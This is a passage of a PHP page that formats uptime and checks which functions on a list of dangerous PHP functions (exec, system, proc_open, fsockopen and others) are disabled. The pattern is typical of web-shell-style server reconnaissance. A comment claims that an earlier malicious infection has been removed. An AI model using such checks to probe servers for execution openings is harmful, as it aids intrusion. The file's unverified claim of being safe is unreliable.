$minutes = floor(($seconds % 3600) / 60);
return sprintf('%dh %dm', $hours, $minutes);
}
function getDisabledFunctions() {
$disabled = ini_get('disable_functions');
if (empty($disabled)) {
return array();
}
return explode(',', $disabled);
}
$importantFunctions = array(
'exec', 'system', 'shell_exec', 'passthru', 'proc_open',
'popen', 'curl_exec', 'curl_multi_exec', 'parse_ini_file',
'show_source', 'symlink', 'putenv', 'mail', 'dl',
'chmod', 'chown', 'chgrp', 'link', 'fsockopen',
'pfsockopen', 'posix_kill', 'posix_mkfifo', 'posix_setpgid',
'posix_setsid', 'posix_setuid', 'pcntl_exec', 'imap_open',
'apache_setenv', 'proc_nice', 'proc_terminate', 'proc_get_status',
'escapeshellcmd', 'escapeshellarg', 'ini_restore', 'stream_socket_server'
);
$disabledFunctions = getDisabledFunctions();
$disabledImportant = array_intersect($importantFunctions, $disabledFunctions);
?>
<div class="main-content flex-1 overflow-auto">
<div class="p-6">
<?php
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
?>